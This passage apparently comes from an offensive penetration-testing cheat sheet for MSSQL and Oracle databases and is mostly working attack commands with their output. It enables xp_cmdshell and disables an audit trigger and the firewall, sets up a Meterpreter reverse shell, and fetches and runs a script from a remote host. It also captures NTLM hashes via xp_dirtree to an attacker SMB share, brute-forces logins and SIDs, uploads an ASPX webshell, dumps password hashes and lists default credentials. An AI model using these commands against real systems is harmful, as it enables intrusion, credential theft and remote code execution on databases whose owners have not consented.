The mssql\_enum is an admin module that will accept a set of credentials and query a MSSQL for various configuration settings.&#x20;

```
msf auxiliary(mssql_enum) > run 
[*] Running MS SQL Server Enumeration... 
[*] Version: 
[*] Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)  
[*] Oct 14 2005 00:33:37  
[*] Copyright (c) 1988-2005 Microsoft Corporation 
[*] Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) 
[*] Configuration Parameters: 
[*] C2 Audit Mode is Not Enabled 
[*] xp_cmdshell is Not Enabled 
[*] remote access is Enabled 
[*] allow updates is Not Enabled 
[*] Database Mail XPs is Not Enabled 
[*] Ole Automation Procedures are Not Enabled 
[*] Databases on the server: 
[*] Database name:master 
[*] Database Files for master: 
[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\master.mdf 
[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\mastlog.ldf 
[*] Database name:tempdb 
[*] Database Files for tempdb: 
[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\tempdb.mdf 
[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\templog.ldf 
[*] Database name:model 
[*] Database Files for model: 
[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\model.mdf 
[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\modellog.ldf 
[*] Database name:msdb 
[*] Database Files for msdb: 
[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\MSDBData.mdf 
[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\MSDBLog.ldf 
[*] System Logins on this Server: 
[*] sa 
[*] ##MS_SQLResourceSigningCertificate## 
[*] ##MS_SQLReplicationSigningCertificate## 
[*] ##MS_SQLAuthenticatorCertificate## 
[*] ##MS_AgentSigningCertificate## 
[*] BUILTIN\Administrators 
[*] NT AUTHORITY\SYSTEM 
[*] V-MAC-XP\SQLServer2005MSSQLUser$V-MAC-XP$SQLEXPRESS 
[*] BUILTIN\Users 
[*] Disabled Accounts: 
[*] No Disabled Logins Found 
```

#### mssql\_exec&#x20;

The mssql\_exec admin module takes advantage of the xp\_cmdshell stored procedure to execute commands on the remote system. If you have acquired or guessed MSSQL admin credentials, this can be a very useful module.&#x20;

```
msf auxiliary(mssql_exec) > set CMD netsh firewall set opmode disable 
CMD => netsh firewall set opmode disable 
msf auxiliary(mssql_exec) > set PASSWORD password1 
PASSWORD => password1 
msf auxiliary(mssql_exec) > set RHOST 192.168.1.195 
RHOST => 192.168.1.195 
msf auxiliary(mssql_exec) > run 
[*] The server may have xp_cmdshell disabled, trying to enable it... 
[*] SQL Query: EXEC master..xp_cmdshell 'netsh firewall set opmode disable' 
 output 
 ------ 
 Ok. 
[*] Auxiliary module execution completed 
msf auxiliary(mssql_exec) > 
```

### PowerUpSQL

PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server&#x20;

Link: <https://github.com/NetSPI/PowerUpSQL>&#x20;

Example:&#x20;

```
PS /opt/PowerUpSQL> Import-Module .\PowerUpSQL.psd1  
PS /opt/PowerUpSQL> Get-SQLInstanceDomain -Verbose 

ComputerName     : sql01.HTB.local
Instance         : sql01.HTB.local,1433
DomainAccountSid : 1500000521000221246588323062601712516458121134400
DomainAccount    : MSSQLSERVER$
DomainAccountCn  : MSSQLSERVER
Service          : MSSQLSvc
Spn              : MSSQLSvc/sql01.HTB.local
LastLogon        : 13/01/2021 02:56
Description      : 

PS /opt/PowerUpSQL> Get-SQLInstanceDomain | Get-SQLConnectionTest

ComputerName          Instance                   Status        
------------          --------                   ------        
sql01.HTB.local       sql01.HTB.local,1433       Accessible       
```

Or load into memory

```
IEX(New-Object System.Net.WebClient).DownloadString("http://192.168.0.1/PowerUpSQL.ps1")
```

#### SQL Server Discovery Cheats&#x20;

| Description                                                                                | Command                                                                                                                                                                                                                                                             |                                               |
| ------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------- |
| Discover Local SQL Server Instances                                                        | Get-SQLInstanceLocal -Verbose                                                                                                                                                                                                                                       |                                               |
| Discover Remote SQL Server Instances                                                       | <p>UDP Broadcast Ping  </p><p>Get-SQLInstanceBroadcast -Verbose  </p><p>UDP Port Scan  </p><p>Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1  </p><p>Get the instance list from a file </p><p>Get-SQLInstanceFile -FilePath c:\temp\computers.txt | Get-SQLInstanceScanUDPThreaded -Verbose  </p> |
| Discover Active Directory Domain SQL Server Instances                                      | Get-SQLInstanceDomain -Verbose                                                                                                                                                                                                                                      |                                               |
| Discover Active Directory Domain SQL Server Instances using alternative domain credentials | <p>runas /noprofile /netonly /user:domain\user PowerShell.exe </p><p>import-module PowerUpSQL.psd1 </p><p>Get-SQLInstanceDomain -Verbose -DomainController 192.168.1.1 -Username domain\user -password P\@ssword123  </p>                                           |                                               |
| List SQL Servers using a specific domain account                                           | Get-SQLInstanceDomain -Verbose -DomainAccount SQLSvc                                                                                                                                                                                                                |                                               |
| List shared domain user SQL Server service accounts                                        | Get-SQLInstanceDomain -Verbose \| Group-Object DomainAccount \| Sort-Object count -Descending \| select Count,Name \| Where-Object {($\_.name -notlike "\*$") -and ($\_.count -gt 1) }                                                                              |                                               |

More commands can be found in the github repo or in the **tool section**.

### Linked Servers

Microsoft SQL Server allows links to be created to external data sources such as other SQL servers, Oracle databases, excel spreadsheets, and so on. Due to common misconfigurations the links, or “Linked Servers”, can often be exploited to traverse database link networks, gain unauthorized access to data, and deploy shells.

Source: <https://blog.netspi.com/how-to-hack-database-links-in-sql-server/>

Find linked servers:

```
SQL> select srvname from sysservers;
srvname
------------------------------   
COMPATIBILITY\POO_CONFIG
COMPATIBILITY\POO_PUBLIC  
```

Execute commands on the other server:

```
SQL> EXECUTE ('select @@servername;') at [COMPATIBILITY\POO_CONFIG];
------------------------------   
COMPATIBILITY\POO_CONFIG 
```

## Bruteforce login

### Metasploit

#### Bruteforce MSSQL Login&#x20;

`msf > use auxiliary/admin/mssql/mssql_login`&#x20;

#### Metasploit MSSQL Shell&#x20;

```
msf > use exploit/windows/mssql/mssql_payload 
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
```

### Nmap

```
nmap -p 1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt <host>
```

## Enable xp\_cmdshell

### Check if enabled&#x20;

`xp_cmdshell whoami`

Or

`EXEC xp_cmdshell 'net user'; -- priv`&#x20;

Or&#x20;

`EXEC master.dbo.xp_cmdshell 'cmd';`&#x20;

### Enable xp\_cmdshell

#### Short way:

```
SQL> enable_xp_cmdshell
```

#### Long way:

```
EXEC sp_configure 'show advanced options', 1; -- priv 
RECONFIGURE; -- priv 
EXEC sp_configure 'xp_cmdshell', 1; -- priv 
RECONFIGURE; -- priv 
or 
EXEC sp_configure 'show advanced options', 1; 
EXEC sp_configure reconfigure; 
EXEC sp_configure 'xp_cmdshell', 1; 
EXEC sp_configure reconfigure; 
```

### Check if it works

`xp_cmdshell 'dir C:\'`&#x20;

### Disable Trigger

If you get a error when we try to enable xp\_cmdshell on trigger, such as:

```
Line 181: The transaction ended in the trigger. The batch has been aborted.
```

These triggers are a policy put in place to alert and block attempts to enable and use xp\_cmdshell. The problem is, as sa, we can disable these triggers.

`SQL> disable trigger ALERT_xp_cmdshell on all server`

And then enable xp\_cmdshell

```
SQL> enable_xp_cmdshell
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> xp_cmdshell whoami
output                                                                             
------------------------------   
nt service\mssql$poo_public                                                        
NULL
```

## Capture credentials using xp\_dirtree

Capture credentials using responder and xp\_dirtree:&#x20;

Start Responder:&#x20;

`root@kali# responder -I eth0`&#x20;

Issue the connect to load a file using xp\_dirtree from an SMB share (that doesn’t exist) on our host:

```
SQL> xp_dirtree '\\10.10.14.14\a'; 
subdirectory    depth 
```

It doesn’t return anything, but in the responder window, I’ve captured the necessary information:&#x20;

```
[SMBv2] NTLMv2-SSP Client   : 10.10.10.125 
[SMBv2] NTLMv2-SSP Username : QUERIER\mssql-svc 
[SMBv2] NTLMv2-SSP Hash     : mssql-svc::QUERIER:603386f497f
[*] Skipping previously captured hash for QUERIER\mssql-svc 
```

## Execue\_external\_script

We can use `sp_execute_external_scrip` to execute external command,&#x20;

**SQL Server 2017** now supports Python as an extensible script engine and we can use it to execute commands:

```
SQL> EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("whoami");';
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script: 
compatibility\poo_public01

Express Edition will continue to be enforced.
```


# 1521 - Oracle DB

Oracle Database is a multi-model database management system produced and marketed by Oracle Corporation.

Port: 1521

## Commands

Check privileges:

`select * from user_role_privs;`

| Type                         | Command                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |              |
| ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ |
| Version                      | <p>SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;<br>SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;<br>SELECT version FROM v$instance;</p>                                                                                                                                                                                                                                                                                                                                                       |              |
| Comments                     | <p>SELECT 1 FROM dual — comment<br>– NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.</p>                                                                                                                                                                                                                                                                                                                      |              |
| Current User                 | SELECT user FROM dual                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |              |
| List Users                   | <p>SELECT username FROM all\_users ORDER BY username;<br> SELECT name FROM sys.user$; — priv</p>                                                                                                                                                                                                                                                                                                                                                                                                                    |              |
| List Password Hashes         | <p>SELECT name, password, astatus FROM sys.user$ — priv, <= 10g.  astatus tells you if acct is locked<br> SELECT name,spare4 FROM sys.user$ — priv, 11g</p>                                                                                                                                                                                                                                                                                                                                                         |              |
| Password Cracker             | [checkpwd](http://www.red-database-security.com/software/checkpwd.html) will crack the DES-based hashes from Oracle 8, 9 and 10.                                                                                                                                                                                                                                                                                                                                                                                    |              |
| List Privileges              | <p>SELECT \* FROM session\_privs; — current privs<br> SELECT \* FROM dba\_sys\_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs<br> SELECT grantee FROM dba\_sys\_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv<br> SELECT GRANTEE, GRANTED\_ROLE FROM DBA\_ROLE\_PRIVS;</p>                                                                                                                                                                                |              |
| List DBA Accounts            | SELECT DISTINCT grantee FROM dba\_sys\_privs WHERE ADMIN\_OPTION = ‘YES’; — priv, list DBAs, DBA roles                                                                                                                                                                                                                                                                                                                                                                                                              |              |
| Current Database             | <p>SELECT global\_name FROM global\_name;<br> SELECT name FROM v$database;<br> SELECT instance\_name FROM v$instance;<br> SELECT SYS.DATABASE\_NAME FROM DUAL;</p>                                                                                                                                                                                                                                                                                                                                                  |              |
| List Databases               | <p>SELECT DISTINCT owner FROM all\_tables; — list schemas (one per user)<br>– Also query TNS listener for other databases.  See <a href="http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html">tnscmd</a> (services                                                                                                                                                                                                                                                                                     | status).</p> |
| List Columns                 | <p>SELECT column\_name FROM all\_tab\_columns WHERE table\_name = ‘blah’;<br>SELECT column\_name FROM all\_tab\_columns WHERE table\_name = ‘blah’ and owner = ‘foo’;</p>                                                                                                                                                                                                                                                                                                                                           |              |
| List Tables                  | <p>SELECT table\_name FROM all\_tables;<br> SELECT owner, table\_name FROM all\_tables;</p>                                                                                                                                                                                                                                                                                                                                                                                                                         |              |
| Find Tables From Column Name | SELECT owner, table\_name FROM all\_tab\_columns WHERE column\_name LIKE ‘%PASS%’; — NB: table names are upper case                                                                                                                                                                                                                                                                                                                                                                                                 |              |
| Select Nth Row               | SELECT username FROM (SELECT ROWNUM r, username FROM all\_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)                                                                                                                                                                                                                                                                                                                                                                                 |              |
| Select Nth Char              | SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’                                                                                                                                                                                                                                                                                                                                                                                                                                                    |              |
| Bitwise AND                  | <p>SELECT bitand(6,2) FROM dual; — returns 2<br> SELECT bitand(6,1) FROM dual; — returns0</p>                                                                                                                                                                                                                                                                                                                                                                                                                       |              |
| ASCII Value -> Char          | SELECT chr(65) FROM dual; — returns A                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |              |
| Char -> ASCII Value          | SELECT ascii(‘A’) FROM dual; — returns 65                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |              |
| Casting                      | <p>SELECT CAST(1 AS char) FROM dual;<br> SELECT CAST(’1′ AS int) FROM dual;</p>                                                                                                                                                                                                                                                                                                                                                                                                                                     |              |
| String Concatenation         | SELECT ‘A’ \|\| ‘B’ FROM dual; — returns AB                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |              |
| If Statement                 | BEGIN IF 1=1 THEN dbms\_lock.sleep(3); ELSE dbms\_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements                                                                                                                                                                                                                                                                                                                                                                                            |              |
| Case Statement               | <p>SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1<br> SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2</p>                                                                                                                                                                                                                                                                                                                                                                              |              |
| Avoiding Quotes              | SELECT chr(65) \|\| chr(66) FROM dual; — returns AB                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |              |
| Time Delay                   | <p>BEGIN DBMS\_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT<br> SELECT UTL\_INADDR.get\_host\_name(’10.0.0.1′) FROM dual; — if reverse looks are slow<br> SELECT UTL\_INADDR.get\_host\_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow<br> SELECT UTL\_HTTP.REQUEST(‘<http://google.com’>) FROM dual; — if outbound TCP is filtered / slow<br>– Also see <a href="http://technet.microsoft.com/en-us/library/cc512676.aspx">Heavy Queries</a> to create a time delay</p> |              |
| Make DNS Requests            | <p>SELECT UTL\_INADDR.get\_host\_address(‘google.com’) FROM dual;<br> SELECT UTL\_HTTP.REQUEST(‘<http://google.com’>) FROM dual;</p>                                                                                                                                                                                                                                                                                                                                                                                |              |
| Command Execution            | [Java](http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql)can be used to execute commands if it’s installed.[ExtProc](http://www.0xdeadbeef.info/exploits/raptor_oraextproc.sql) can sometimes be used too, though it normally failed for me. ![:-(](http://pentestmonkey.net/wp-includes/images/smilies/icon_sad.gif)                                                                                                                                                                                          |              |
| Local File Access            | <p><a href="http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql">UTL\_FILE</a> can sometimes be used.  Check that the following is non-null:<br> SELECT value FROM v$parameter2 WHERE name = ‘utl\_file\_dir’;<a href="http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql">Java</a> can be used to read and write files if it’s installed (it is not available in Oracle Express).</p>                                                                                                                       |              |
| Hostname, IP Address         | <p>SELECT UTL\_INADDR.get\_host\_name FROM dual;<br> SELECT host\_name FROM v$instance;<br> SELECT UTL\_INADDR.get\_host\_address FROM dual; — gets IP address<br> SELECT UTL\_INADDR.get\_host\_name(’10.0.0.1′) FROM dual; — gets hostnames</p>                                                                                                                                                                                                                                                                   |              |
| Location of DB files         | SELECT name FROM V$DATAFILE;                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |              |
| Default/System Databases     | <p>SYSTEM<br> SYSAUX</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |              |

**\* Requires privileged user**

| Description             | Query                                                                                                                                                                                                                                                                      |
| ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Version                 | <p>SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';<br>SELECT banner FROM v$version WHERE banner LIKE 'TNS%';<br>SELECT version FROM v$instance;</p>                                                                                                              |
| User                    | SELECT user FROM dual                                                                                                                                                                                                                                                      |
| Users                   | <p>SELECT username FROM all\_users ORDER BY username;<br>\* SELECT name FROM sys.user$;</p>                                                                                                                                                                                |
| Tables                  | <p>SELECT table\_name FROM all\_tables;<br>SELECT owner, table\_name FROM all\_tables;</p>                                                                                                                                                                                 |
| Tables From Column Name | SELECT owner, table\_name FROM all\_tab\_columns WHERE column\_name LIKE '%PASS%';                                                                                                                                                                                         |
| Columns                 | <p>SELECT column\_name FROM all\_tab\_columns WHERE table\_name = 'blah';<br>SELECT column\_name FROM all\_tab\_columns WHERE table\_name = 'blah' and owner = 'foo';</p>                                                                                                  |
| Current Database        | <p>SELECT global\_name FROM global\_name;<br>SELECT name FROM V$DATABASE;<br>SELECT instance\_name FROM V$INSTANCE;<br>SELECT SYS.DATABASE\_NAME FROM DUAL;</p>                                                                                                            |
| Databases               | SELECT DISTINCT owner FROM all\_tables;                                                                                                                                                                                                                                    |
| DBA Accounts            | SELECT DISTINCT grantee FROM dba\_sys\_privs WHERE ADMIN\_OPTION = 'YES';                                                                                                                                                                                                  |
| Privileges              | <p>SELECT \* FROM session\_privs;(Retrieves Current Privs)<br>\* SELECT \* FROM dba\_sys\_privs WHERE grantee = 'DBSNMP';<br>\* SELECT grantee FROM dba\_sys\_privs WHERE privilege = 'SELECT ANY DICTIONARY';<br>SELECT GRANTEE, GRANTED\_ROLE FROM DBA\_ROLE\_PRIVS;</p> |
| Location of DB Files    | SELECT name FROM V$DATAFILE;                                                                                                                                                                                                                                               |
| Hostname, IP Address    | <p>SELECT UTL\_INADDR.get\_host\_name FROM dual;<br>SELECT host\_name FROM v$instance;<br>SELECT UTL\_INADDR.get\_host\_address FROM dual; (Gets IP Address)<br>SELECT UTL\_INADDR.get\_host\_name('10.0.0.1') FROM dual; (Gets Hostnames)</p>                             |

## Enumeration

### oscanner

Install oscanner:&#x20;

`apt-get install oscanner`  &#x20;

Run oscanner:&#x20;

`oscanner -s 192.168.1.200 -P 1521` &#x20;

### tnscmd10g

Fingerprint Oracle TNS Version&#x20;

Fingerprint oracle tns:&#x20;

`tnscmd10g version -h TARGET`&#x20;

### Nmap

**Run nmap scripts against Oracle TNS:**&#x20;

`nmap -p 1521 -A TARGET`&#x20;

Find tns version:

`nmap --script=oracle-tns-version` &#x20;

**Brute force oracle user accounts**&#x20;

Identify default Oracle databases:&#x20;

```
nmap --script oracle-sid-brute -p 1521 10.10.10.82
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-02 13:52 BST
Nmap scan report for 10.10.10.82
Host is up (0.084s latency).

PORT     STATE SERVICE
1521/tcp open  oracle
| oracle-sid-brute: 
|_  XE
```

brute force users using the SID:

`nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL <host>`

or

```
nmap --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt -p 1521-1560 <host>
```

### ODAT

[https://github.com/quentinhardy/odat](<https://github.com/quentinhardy/odat&#xD;&#xA;&#xD;&#xA;>)

ODAT (Oracle Database Attacking Tool) is an open source penetration testing tool that tests the security of Oracle Databases remotely.&#x20;

Usage examples of ODAT:&#x20;

* You have an Oracle database listening remotely and want to find valid SIDs and credentials in order to connect to the database&#x20;
* You have a valid Oracle account on a database and want to escalate your privileges to become DBA or SYSDBA&#x20;
* You have a Oracle account and you want to execute system commands (e.g. reverse shell) in order to move forward on the operating system hosting the database&#x20;

Tested on Oracle Database 10g, 11g, 12c and 18c.&#x20;

**Install**: download the latest release from the github repo

**Examples**:&#x20;

#### Identify SIDs&#x20;

```
root@kali:/opt/odat-libc2.5-i686# odat sidguesser -s 10.10.10.82 
 
[1] (10.10.10.82:1521): Searching valid SIDs 
[1.1] Searching valid SIDs thanks to a well known SID list on the 10.10.10.82:1521 server 
[+] 'XE' is a valid SID. Continue... 
[+] 'XEXDB' is a valid SID. Continue... 
100% |#####################################################################################################################################################| Time: 00:03:49 
[1.2] Searching valid SIDs thanks to a brute-force attack on 1 chars now (10.10.10.82:1521) 
100% |#####################################################################################################################################################| Time: 00:00:09 
[1.3] Searching valid SIDs thanks to a brute-force attack on 2 chars now (10.10.10.82:1521) 
[+] 'XE' is a valid SID. Continue... 
100% |#####################################################################################################################################################| Time: 00:03:20 
[+] SIDs found on the 10.10.10.82:1521 server: XE,XEXDB 
```

#### identify users:

```
./odat-libc2.12-x86_64 passwordguesser -s 10.10.10.82 -d XE --accounts-file accounts/default.txt

[1] (10.10.10.82:1521): Searching valid accounts on the 10.10.10.82 server, port 1521
[+] Valid credentials found: scott/tiger. Continue...                                   ##################################################################                                         | ETA:  00:00:05 
100% |#############################################################################################################################################################################################| Time: 00:00:24 
[+] Accounts found on 10.10.10.82:1521/XE: 
scott/tiger

```

**use the the wordlist below for just the default accounts**

find vulnarable modules:

```
odat all -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba
```

**Upload shell**

```
./odat-libc2.12-x86_64 dbmsadvisor -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba --putFile C:\\inetpub\\wwwroot 0xdf.aspx /usr/share/webshells/aspx/cmdasp.aspx
```

#### Get files

```
./odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --getFile "C:/test" token.txt token.txt
```

### Metasploit

#### sid bruteforce:

```
msf auxiliary(admin/oracle/sid_brute) > run 

[*] 10.10.10.82:1521 - Starting brute force on 10.10.10.82, using sids from /usr/share/metasploit-framework/data/wordlists/sid.txt... 
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'XE' 
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'PLSExtProc' 
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'CLRExtProc' 
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID '' 
[*] 10.10.10.82:1521 - Done with brute force... 
[*] Auxiliary module execution completed 
```

#### tns version:

```
auxiliary/scanner/oracle/tnslsnr_version
```

#### sid enum:

```
auxiliary/scanner/oracle/sid_enum
```

#### username enumeration:

```
use auxiliary/scanner/oracle/oracle_login
```

#### index priv esc:

```
msf > use auxiliary/admin/oracle/oracle_index_privesc
msf auxiliary(oracle_index_privesc) > show actions
    ...actions...
msf auxiliary(oracle_index_privesc) > set ACTION < action-name >
msf auxiliary(oracle_index_privesc) > show options
    ...show and set options...
msf auxiliary(oracle_index_privesc) > run
```

#### execute sql queries:

```
use auxiliary/admin/oracle/oracle_sql
```

#### enumerate the database:

```
use auxiliary/admin/oracle/oraenum
msf auxiliary(oraenum) > info

Name: Oracle Database Enumeration
Module: auxiliary/admin/oracle/oraenum
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Carlos Perez <carlos_perez@darkoperator.com>

Basic options:
Name    Current Setting  Required  Description
----    ---------------  --------  -----------
DBPASS  TIGER            yes       The password to authenticate with.
DBUSER  SCOTT            yes       The username to authenticate with.
RHOST                    yes       The Oracle host.
RPORT   1521             yes       The TNS port.
SID     ORCL             yes       The sid to authenticate with.

Description:
This module provides a simple way to scan an Oracle database server
for configuration parameters that may be useful during a penetration
test. Valid database credentials must be provided for this module to
run.

msf auxiliary(oraenum) > set RHOST 192.168.56.163
RHOST => 192.168.56.163
msf auxiliary(oraenum) > set SID KNUTSEL
SID => KNUTSEL
msf auxiliary(oraenum) > set dbpass tiger
dbpass => tiger
msf auxiliary(oraenum) > run

[*] Running Oracle Enumeration....
[*] The versions of the Components are:
[*]      Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
[*]      PL/SQL Release 11.2.0.1.0 - Production
[*]      CORE     11.2.0.1.0     Production
[*]      TNS for Linux: Version 11.2.0.1.0 - Production
[*]      NLSRTL Version 11.2.0.1.0 - Production
[*] Auditing:
[*]      Database Auditing is enabled!
[*]      Auditing of SYS Operations is not enabled!
[*] Security Settings:
[*]      SQL92 Security restriction on SELECT is not Enabled
[*]      UTL Directory Access is set to
[*]      Audit log is saved at /u01/app/oracle/admin/KNUTSEL/adump
[*] Password Policy:
[*]      Current Account Lockout Time is set to 1
[*]      The Number of Failed Logins before an account is locked is set to 10
[*]      The Password Grace Time is set to 7
[*]      The Lifetime of Passwords is set to 180
[*]      The Number of Times a Password can be reused is set to UNLIMITED
[*]      The Maximum Number of Times a Password needs to be changed before it can be reused is set to UNLIMITED
[*]      The Number of Times a Password can be reused is set to UNLIMITED
[*]      Password Complexity is not checked
[*] Active Accounts on the System in format Username,Password,Spare4 are:
[*]      SYS,03E1E7984F880583,S:3CD57915E74AF162A5ABA3A30FE453E43DF884CB6A552C647B03572BA46D
[*]      SYSTEM,5A7270D7D12F6BA6,S:EDCB23E4039293C352B12D01EA52F2AF3311B5FA744BE3DCC728BDFE0655
[*]      DBSNMP,57E9C5ECCAB1777C,S:D9576CA642448980FB5C04D3869614D572E712BF5E019E02C31BBF300E76
[*]      SYSMAN,CB3E68076FBBAFF5,S:1132C132BFA6686735DEC4398F30DD411F0DDCAAAFCB4AC21527887B7129
[*]      MGMT_VIEW,23C5225CD5C2C782,S:0983A18B9809980B2ABE7A7A4047E5AA3925DC184C92047B6F5404E8CD11
[*]      APP_USER,71B0EFF101D0D5AC,S:13BAA4B46E85969429B3242E64E526292EB15BA071E3AAF37649CD3289BA
[*]      SCOTT,F894844C34402B67,S:7ED8346E4DA9EE29ACBB4A9D08B2E18B57404E6A9A03DB6AF01024BC0B8F
[*] Expired or Locked Accounts on the System in format Username,Password,Spare4 are:
[*]      OUTLN,4A3BA55E08595C81,S:8DF2965A946AB7ED6F6657A99B91CC792B67BF873D7CAFD3B20C98A28370
[*]      DIP,CE4A36B8E06CA59C,S:3E265D395D4D1A637729747CECC8BAD1CD8EFA262A8377E5635BB94434C5
[*]      ORACLE_OCM,5A2E026A9157958C,S:CDC4C09C00C4A8C25DCD1062BF8EC8BCB468841A1C77AB6E65188DF24D99
[*]      APPQOSSYS,519D632B7EE7F63A,S:B388B593D8609871990A15E991C82ACA154B0ADDA84E7CB549CFCC6E9B94
[*]      WMSYS,7C9BA362F8314299,S:A38520037B1C3904B76B3B65E8605DA4F89F710345F60FC7406A3FE9B709
[*]      XS$NULL,DC4FCC8CB69A6733,S:0327C110E72AE2E82F08AACBBBD385E4589FA1386F20119E1EE2A6AC8DC4
[*]      EXFSYS,33C758A8E388DEE5,S:BA1BB1B61AA7FE91BFF3CA99A116C2299F2DA8F87398D5560C20B74EDD00
[*]      XDB,88D8364765FCE6AF,S:7E885EEAC286739730FEDD138F83A361204D96FB92E35FFBDD89A494E32B
[*]      ANONYMOUS,anonymous,
[*]      APEX_PUBLIC_USER,E0781A84AA9234A8,S:934C76C08882384A2C51644F9C8302D40D32BFB83524BC4EC9EB84CA0221
[*]      ORDSYS,7EFA02EC7EA6B86F,S:74C72073718541C8074E24B1210367A6D702C01064580BFF4E5719AD8ECD
[*]      ORDDATA,A93EC937FCD1DC2A,S:C7267CE01C7CDCD0AF39C4289B7C66A3E0E75EAA3DC47D6143984256A9F1
[*]      ORDPLUGINS,88A2B2C183431F00,S:554026F9CFABC573E6A7B439716F69AF45A33D969FE7C16AA2E8CF702E34
[*]      SI_INFORMTN_SCHEMA,84B8CBCA4D477FA3,S:1C2A0B249085C3CEED0B29019231E49F35A56CDB8E0653B1E38E39B5AB8E
[*]      MDSYS,72979A94BAD2AF80,S:FE9431C8FA6CD61C1741389012B7D7B9ABD4213A612286E83E45F3E50A9E
[*]      FLOWS_FILES,110F19A4A024EB24,S:EB5CC126B7E3198814CC1B06065AF0E15259706E4036431D15F809527816
[*]      APEX_030200,A1A70E91605C5567,S:36A4A6B16BC8D55287D3E672FD86D72EA63C3749640A9DD668122E702F1E
[*] Accounts with DBA Privilege  in format Username,Hash on the System are:
[*]      SYS
[*]      APP_USER
[*]      SYSTEM
[*] Accounts with Alter System Privilege on the System are:
[*]      SYS
[*]      DBA
[*]      APEX_030200
[*] Accounts with JAVA ADMIN Privilege on the System are:
[*] Accounts that have CREATE LIBRARY Privilege on the System are:
[*]      SYS
[*]      XDB
[*]      EXFSYS
[*]      MDSYS
[*]      DBA
[*] Default password check:
[*]      The account DIP has a default password.
[*]      The account MDSYS has a default password.
[*]      The account XS$NULL has a default password.
[*]      The account OUTLN has a default password.
[*]      The account EXFSYS has a default password.
[*]      The account ORACLE_OCM has a default password.
[*]      The account SCOTT has a default password.
[*]      The account ORDPLUGINS has a default password.
[*]      The account ORDSYS has a default password.
[*]      The account APPQOSSYS has a default password.
[*]      The account ORDDATA has a default password.
[*]      The account XDB has a default password.
[*]      The account SI_INFORMTN_SCHEMA has a default password.
[*]      The account WMSYS has a default password.
[*] Auxiliary module execution completed
```

### Hydra

brute-force a listener password if exists:

```
./hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener
```

## Default accounts

| Username  | Password            |
| --------- | ------------------- |
| SYSTEM    | MANAGER             |
| SYS       | CHANGE\_ON\_INSTALL |
| DBSNMP    | DBSNMP              |
| SCOTT     | TIGER               |
| PCMS\_SYS | PCMS\_SYS           |
| WMSYS     | WMSYS               |
| OUTLN     | OUTLN               |

**Try lowercase as well**

**wordlist:**

```
SYSTEM/MANAGER
SYS/CHANGE_ON_INSTALL
DBSNMP/DBSNMP
SCOTT/TIGER
